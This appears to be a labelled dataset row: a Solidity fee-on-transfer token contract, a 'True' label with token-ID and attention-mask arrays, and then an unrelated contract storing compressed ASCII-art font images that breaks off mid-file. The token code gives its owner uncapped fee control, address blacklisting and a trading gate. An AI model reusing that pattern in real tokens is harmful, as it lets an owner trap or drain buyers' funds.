mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 1;
uint256 private _taxFeeOnBuy = 4;
uint256 private _redisFeeOnSell = 1;
uint256 private _taxFeeOnSell = 7;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0x2EA321042b3046c2A9a7CDa9610d5f65e10538C0);
address payable private _marketingAddress = payable(0x2EA321042b3046c2A9a7CDa9610d5f65e10538C0);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 50000000 * 10**9;
uint256 public _maxWalletSize = 50000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
} | True | [
101,
1013,
1008,
1019,
1003,
4965,
4171,
1013,
1022,
1003,
5271,
4171,
16770,
1024,
1013,
1013,
1056,
1012,
2033,
1013,
2252,
11837,
25698,
15305,
2378,
16770,
1024,
1013,
1013,
7479,
1012,
2252,
11837,
25698,
15305,
3170,
2705,
1012,
4012,
1013,
1008,
1013,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
4895,
13231,
27730,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1022,
1012,
1023,
1025,
10061,
3206,
6123,
1063,
3853,
1035,
5796,
5620,
10497,
2121,
1006,
1007,
4722,
3193,
7484,
5651,
1006,
4769,
1007,
1063,
2709,
5796,
2290,
1012,
4604,
2121,
1025,
1065,
1065,
8278,
29464,
11890,
11387,
1063,
3853,
21948,
6279,
22086,
1006,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
3853,
5703,
11253,
1006,
4769,
4070,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
3853,
4651,
1006,
4769,
7799,
1010,
21318,
3372,
17788,
2575,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
3853,
21447,
1006,
4769,
3954,
1010,
4769,
5247,
2121,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
3853,
14300,
1006,
4769,
5247,
2121,
1010,
21318,
3372,
17788,
2575,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
3853,
4651,
19699,
5358,
1006,
4769,
4604,
2121,
1010,
4769,
7799,
1010,
21318,
3372,
17788,
2575,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
2724,
4651,
1006,
4769,
25331,
2013,
1010,
4769,
25331,
2000,
1010,
21318,
3372,
17788,
2575,
3643,
1007,
1025,
2724,
6226,
1006,
4769,
25331,
3954,
1010,
4769,
25331,
5247,
2121,
1010,
21318,
3372,
17788,
2575,
3643,
1007,
1025,
1065,
3206,
2219,
3085,
2003,
6123,
1063,
4769,
2797,
1035,
3954,
1025,
4769,
2797,
1035,
3025,
12384,
2121,
1025,
2724,
6095,
6494,
3619,
7512,
5596,
1006,
4769,
25331,
3025,
12384,
2121,
1010,
4769,
25331,
2047,
12384,
2121,
1007,
1025,
9570,
2953,
1006,
1007,
1063,
4769,
5796,
5620,
10497,
2121,
1027,
1035,
5796,
5620,
10497,
2121,
1006,
1007,
1025,
1035,
3954,
1027,
5796,
5620,
10497,
2121,
1025,
12495,
2102,
6095,
6494,
3619,
7512,
5596,
1006,
4769,
1006,
1014,
1007,
1010,
5796,
5620,
10497,
2121,
1007,
1025,
1065,
3853,
3954,
1006,
1007,
2270,
3193,
5651,
1006,
4769,
1007,
1063,
2709,
1035,
3954,
1025,
1065,
16913,
18095,
2069,
12384,
2121,
1006,
1007,
1063,
5478,
1006,
1035,
3954,
1027,
1027,
1035,
5796,
5620,
10497,
2121,
1006,
1007,
1010,
1000,
2219,
3085,
1024,
20587,
2003,
2025,
1996,
3954,
1000,
1007,
1025,
1035,
1025,
1065,
3853,
17738,
17457,
12384,
2545,
5605,
1006,
1007,
2270,
7484,
2069,
12384,
2121,
1063,
12495,
2102,
6095,
6494,
3619,
7512,
5596,
1006,
1035,
3954,
1010,
4769,
1006,
1014,
1007,
1007,
1025,
1035,
3954,
1027,
4769,
1006,
1014,
1007,
1025,
1065,
3853,
4651,
12384,
2545,
5605,
1006,
4769,
2047,
12384,
2121,
1007,
2270,
7484,
2069,
12384,
2121,
1063,
5478,
1006,
2047,
12384,
2121,
999,
1027,
4769,
1006,
1014,
1007,
1010,
1000,
2219,
3085,
1024,
2047,
3954,
2003,
1996,
5717,
4769,
1000,
1007,
1025,
12495,
2102,
6095,
6494,
3619,
7512,
5596,
1006,
1035,
3954,
1010,
2047,
12384,
2121,
1007,
1025,
1035,
3954,
1027,
2047,
12384,
2121,
1025,
1065,
1065,
3075,
3647,
18900,
2232,
1063,
3853,
5587,
1006,
21318,
102
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
import {GmDataInterface} from "./GmDataInterface.sol";
contract GmData1 is GmDataInterface {
function getSvg(uint256 index)
external
pure
returns (GmDataSet memory data)
{
// AUTOGEN:START
if (index == 0) {
data.compressedImage = hex"b32949ad2851a8b055375057a8b455373634525748ce492c2eb6554f4a2c4e55b7b329292e48cc03a9303632565748a954b055373453b74bcfb5d1074bd90169a0197600";
data.compressedSize = 74;
data.imageName = "Mnemonic";
}
if (index == 1) {
data.compressedImage = hex"b32949ad2851a8b055375057a8b455373634525748ce492c2eb6554f4a2c4e55b7b329292e48cc03a9303630565748a954b055373453b733335753ae3030307034b0367381336df4c1caed8034d05c3b00";
data.compressedSize = 94;
data.imageName = "Hex";
}
if (index == 2) {
data.compressedImage = hex"b32949ad2851a8b055375057a8b455373634525748ce492c2eb6554f4a2c4e55b7b329292e48cc03a9303231565748a954b055373453b73330343400624335e50a03030347036b900008c1056cf4c15aed8034d00e3b00";
data.compressedSize = 106;
data.imageName = "Binary";
}
if (index == 3) {
data.compressedImage = hex"b32949ad2851a8b055375057a8b455373634525748ce492c2eb6554f4a2c4e55b7b329292e48cc03a930b2b4505748a954b055373453b75353ae30323234b246a20d0c0c8c5ca10c47036bec2a801236fa6033ed8034d0723b00";
data.compressedSize = 131;
data.imageName = "Morse";
}
if (index == 4) {
data.compressedImage = hex"b32949ad2851a8b055375057a8b45537b2b0505748ce492c2eb6554f4a2c4e55b7b329292e48cc03a930b234565748a954b055373453b75356565653ae3030307034b04666dbe88335e0d687d045967e244dd84c22de1d48fa8961c0cdd30785981d00";
data.compressedSize = 312;
data.imageName = "3x5";
}
if (index == 5) {
data.compressedImage = hex"b32949ad2851a8b055375057a8b45537b234535748ce492c2eb6554f4a2c4e55b7b329292e48cc03a930b230565748a954b055373453b75353ae3030303072b386308c5dac6b202c47036b4cb918741650958d3ed8689c36c46031193f8b1c13c963c06dd207859f1d00";
data.compressedSize = 326;
data.imageName = "Madrid";
}
if (index == 6) {
data.compressedImage = hex"b32949ad2851a8b055375057a8b45537b234535748ce492c2eb6554f4a2c4e55b7b329292e48cc03a93032b3505748a954b055373453b75353ae3030307034b086308c5c410c23234323fc02e4ebb1d107bb8480838c2c103ad2b1da0762985b63aace25a89a6847001526a01b6281ee7b640669aae18ed007459e1d00";
data.compressedSize = 451;
data.imageName = "Heart Left";
}
if (index == 7) {
data.compressedImage = hex"b32949ad2851a8b055375057a8b45537b2b0505748ce492c2eb6554f4a2c4e55b7b329292e48cc03a9303203caa5542ad8aa1b9aa9dba92957181818381a58c703018463e46c8d248a450c2e64a30f369580e1461620bd4646864650338cdcb01986a1b82606aebc06ae9e382b4106c7c4c723b4616192e87e8866e219e4e942f6a13e284eed00";
data.compressedSize = 474;
data.imageName = "ASCII New Roman";
}
if (index == 8) {
data.compressedImage = hex"b32949ad2851a8b055375057a8b45537b200d2c93989c5c5b6ea4989c5a9ea763625c5058979201546e616ea0a29950ab6ea8666ea76f96aca1546468646d6301a24606060e068600d97f2c794b3d1079b87d3d81ab84a38a386481621a3315cec8fe262dc2c4206633a198bebc86390eca77c6a59a80f4a187600";
data.compressedSize = 543;
data.imageName = "Tinker-Toy";
}
if (index == 9) {
data.compressedImage = hex"b32949ad2851a8b055375057a8b45537b2b0505748ce492c2eb6554f4a2c4e55b7b329292e48cc03a9303233565748a954b055373453b75353ae3030307034b08633e2e331c5d01846ce40553075400e5cda461f6c0d4edb605a2cac612c37b87d4026ba35c488008d22642bc26b084b09fa916c0671ae01ba1b979768ca80bb4e1f9462ec00";
data.compressedSize = 568;
data.imageName = "JS Cursive";
}
if (index == 10) {
data.compressedImage = hex"b32949ad2851a8b055375057a8b45537b200d2c93989c5c5b6ea4989c5a9ea763625c505897920154646c6ea0a29950ab6ea8666ea766aca150606068e06d6b81846aed689be401000174ff1858224b8908d3ed878126c4981196864644dd00d68eab1b2497105b2265f1c86e162136d1bc295ae44198cd512a26d0bf3f5c516a2e4598669ab3e287dd90100";
data.compressedSize = 614;
data.imageName = "Rowan Cap";
}
if (index == 11) {
data.compressedImage = hex"b32949ad2851a8b055375057a8b45537b200d2c93989c5c5b6ea4989c5a9ea763625c5058979201546c6c6ea0a29950ab6ea8666ea766aca150606068e06d6e96000e7e6e662672271e00c1b7db0e138ed4032169381622716c3098811b61bdd5fd4b7038fefe8ee5fd4f824c9655467c0ddaa0f4a9d7600";
data.compressedSize = 676;
data.imageName = "Letters";
}
if (index == 12) {
data.compressedImage = hex"b32949ad2851a8b055375057a8b45537b200d2c93989c5c5b6ea4989c5a9ea763625c505897920154626c6ea0a29950ab6ea8666ea766aca150606068e06d6988cf87804131b0b99198fa9dd461f6c25c9361bb921392101ceac4157668ee496042cee8b21dd2518765858c7d76091259a457a18c4c082d2c819215883ec0a5436e936d4c0630b39a469c780bb501f9446ed00";
data.compressedSize = 682;
data.imageName = "Standard";
}
if (index == 13) {
data.compressedImage = hex"b32949ad2851a8b055375057a8b45537b200d2c93989c5c5b6ea4989c5a9ea763625c5058979201546c616ea0a29950ab6ea8666ea766aca150606068e06d6c430e249524da94136fa603793e374a8f946160821cdf878f23510ed94f81ad2c2a186640dc43905e81184ebdd71863b42198a065f223490154135d8c3b986a002b855faa0846e0700";
data.compressedSize = 751;
data.imageName = "Puzzle";
}
if (index == 14) {
data.compressedImage = hex"b32949ad2851a8b055375057a8b45537b200d2c93989c5c5b6ea4989c5a9ea763625c505897920154626c6ea0a29950ab6ea8666ea766aca150606068e06d6988c782040e1a0f0e06c1b7db0d124db60e4866c159c99805f16891d43a2cdc846c245e2f1c8d14e846897c7c0fc6be44ca2e3499423ce4520bdf0b8c7349aa60cb80bf54169dd0e00";
data.compressedSize = 754;
data.imageName = "Slant";
}
if (index == 15) {
data.compressedImage = hex"b32949ad2851a8b055375057a8b45537b200d2c93989c5c5b6ea4989c5a9ea763625c5058979201546c6c6ea0a29950ab6ea8666ea76f110a0a65c616060e068608d850f67dbe8830dc163165c29927e383301c23272b326a00e891d43d04e4ca3d0ad01b270ca61d5472d11826e8f81f9d4c8992803e3a92747c86d08bdf0148069349d197037eb8352bb1d00";
data.compressedSize = 756;
data.imageName = "Speed";
}
if (index == 16) {
data.compressedImage = hex"b32949ad2851a8b055375057a8b45537b200d2c93989c5c5b6ea4989c5a9ea763625c50589792015462616ea0a29950ab6ea8666ea766aca150606068e06d670467c3c8469e46c8d45925c2138c3461fec12621d64e486c58c1a3c8a6a481122cb6131f170f36a4870240e21846124860c2603e1203c8aa8c8a0c0c13103e3507d5036b10300";
data.compressedSize = 813;
data.imageName = "Script";
}
if (index == 17) {
data.compressedImage = hex"b32949ad2851a8b055375057a8b455373237525748ce492c2eb6554f4a2c4e55b7b329292e48cc03a93032b1505748a954b055373453b75353ae3030307034b0c664c4c72398789451c8b0d107bb8c64071ab921b93401ceacc1e20f6c3ea286436260e619395b637100ba538cccb1d81a430d87d4c4c35de2668d4d1a0c89b600a6d4c8c89a18460da9ea49f429500b287e8d8c0c8dac0d301868614b92626427e88372901d00";
data.compressedSize = 840;
data.imageName = "Train";
}
if (index == 18) {
data.compressedImage = hex"b32949ad2851a8b055375057a8b455373237525748ce492c2eb6554f4a2c4e55b7b329292e48cc03a93032b2505748a954b055373453b75353ae3030307034b04eb5b080b32d8861a7c29970868d3ed8169c96a558906a894512d18647926eb805d186a3f9d5c8c89a7e96216c75b6c694b2b008c0a59ea60c32420cce827b27004d88ce7ec0f48c3e281fd90100";
data.compressedSize = 846;
data.imageName = "Rozzo";
}
if (index == 19) {
data.compressedImage = hex"b32949ad2851a8b055375057a8b455373237525748ce492c2eb6554f4a2c4e55b7b329292e48cc03a9303235565748a954b055373453b75353ae3030303072b506328c8c0c8d48a1e11a2934c1461fec389c6eac71c76707b22b1c0dac6b6a7c49514dd06eb85208c3d811668a9b750c9a10d87634f546163065400d9a14d98b3087087b09a927d57e23735ca1696eed5e438a6a5f827627909992ccadc9d70977933e2827d90100";
data.compressedSize = 848;
data.imageName = "Cards";
}
if (index == 20) {
data.compressedImage = hex"b32949ad2851a8b055375057a8b455373237525748ce492c2eb6554f4a2c4e55b7b329292e48cc03a9303232565748a954b055373453b75353ae3030307034b0c66454c7c7e3978dc7aa14996da30fb696b0ed58edc2652a9220564d846c25e8319ad83a307ec5e351828ea0a52bf0c7c1c032e0bed107e52a3b00";
data.compressedSize = 860;
data.imageName = "Nipples";
}
if (index == 21) {
data.compressedImage = hex"b32949ad2851a8b055375057a8b455373237525748ce492c2eb6554f4a2c4e55b7b329292e48cc03a9303232565748a954b055373453b75353ae3030307034b0c664f86b6ae297d5c4aa14996da30fb696b0ed58edc2652a9220564d846c25e8319ad83a307ec5e351828ea0a52bf0c7c1c032e0bed107e52a3b00";
data.compressedSize = 860;
data.imageName = "Coinstak";
}
if (index == 22) {
data.compressedImage = hex"b32949ad2851a8b055375057a8b455373237525748ce492c2eb6554f4a2c4e55b7b329292e48cc03a9303232565748a954b055373453b75353ae3030307034b0c664f8d7d5e197adc3aa14996da30fb696b0ed58edc2652a9220564d846c25e8319ad83a307ec5e351828ea0a52bf0c7c1c032e0bed107e52a3b00";
data.compressedSize = 860;
data.imageName = "Tubular";
}
if (index == 23) {
data.compressedImage = hex"b32949ad2851a8b055375057a8b455373237525748ce492c2eb6554f4a2c4e55b7b329292e48cc03a9303231565748a954b055373453b75353ae3030307034b0c664c4c7e3914452158f950d67d8e883ad26d605466e3086b935c2b484184c5984b50865d8c4628873819105baef8022f19a70b19a1a4c69b88826517235845c9210832d046bb039878018e97ed644f62b31314f2183e87411034f5658639f0e2ed407e52e3b00";
data.compressedSize = 868;
data.imageName = "Puffy";
}
if (index == 24) {
data.compressedImage = hex"b32949ad2851a8b055375057a8b455373233515748ce492c2eb6554f4a2c4e55b7b329292e48cc03a93032b1505748a954b055373453b75353ae3030307034b08e87009c7c1b7db009380daa89812b259e61e4664db63e820e42d7e304621819191a61a3e10a205a28d34cbcd36af078b5062f0baf7a121c904ea4c5b954b270b04606304981137c0c061f6e803e2893d90100";
data.compressedSize = 875;
data.imageName = "Keyboard";
}
if (index == 25) {
data.compressedImage = hex"b32949ad2851a8b055375057a8b455373233515748ce492c2eb6554f4a2c4e55b7b329292e48cc03a93032b5505748a954b055373453b75353ae3030307034b086308c2cacd1448891c2cad02446918d3ed85d849da719a3a949bc3b48752b71ce809b0a64c46b6ac6e0f33c4e492373327c8f69bf26924be2b13a8f6c5fba2174c427c0993535783c0267c4a03b90086b63e2611e70b646b22e1e0c49f7454d3cdc3c37d252017949461f94f5ec00";
data.compressedSize = 897;
data.imageName = "Fire Font-k";
}
if (index == 26) {
data.compressedImage = hex"b32949ad2851a8b055375057a8b455373233515748ce492c2eb6554f4a2c4e55b7b329292e48cc03a93032b5505748a954b055373453b75353ae3030303072b5ce0f88cc8773200c4703ebfcfcc87c6ce236fa60f3701a6b015789876181ce3232c72689458836d6639724c3fa84c8fcfc00da190f5168ec688d162f5819e836612ac263105629129d07640043032d82316d209b41ba7308061be58ec2e34c7d5056b50300";
data.compressedSize = 945;
data.imageName = "Jazmine";
}
if (index == 27) {
data.compressedImage = hex"b32949ad2851a8b055375057a8b455373233515748ce492c2eb6554f4a2c4e55b7b329292e48cc03a9303236565748a954b055373453b75353ae3030307034b0560603381793815712af721b7db0e538dd409cc9d854117231b5dd409c3b91cc52a69a1bd08cc5ea493a85f9604c07b472135df3873e2817db0100";
data.compressedSize = 972;
data.imageName = "Banner3";
}
if (index == 28) {
data.compressedImage = hex"b32949ad2851a8b055375057a8b455373237525748ce492c2eb6554f4a2c4e55b7b329292e48cc03a93034b3505748a95400b1d4edd4942b0c0c0c1c0dac8961c4e30136fa601b28b208680c846de4661d839f4548257679b80540cb2870703c293612eb2302fec17405e91ea0387c914571a8c0136c443b189aa4488ad778d2dd43b4c34808350c405206833b441f949fed00";
data.compressedSize = 982;
data.imageName = "Peaks Slant";
}
if (index == 29) {
data.compressedImage = hex"b32949ad2851a8b055375057a8b455373233515748ce492c2eb6554f4a2c4e55b7b329292e48cc03a93032b4505748a954b055373453b75353ae3030307034b0c6c3888f8f47b089d280ac351e9f161b7db0bbc8719e1b92250970b60fa6422f342123736cbe4008410d3372a6c49935282c232343236b185d834511367df1354084458274c72082ca273ede0b67c0a0aa44b0b0e9f0a2c0399ab090c09e387cbce2e3b1db0e1427da36af9878a4c467e466ed5683dbd81ad23de10531de8d98fc407506dcb9faa07c6f0700";
data.compressedSize = 1022;
data.imageName = "Henry 3D";
}
if (index == 30) {
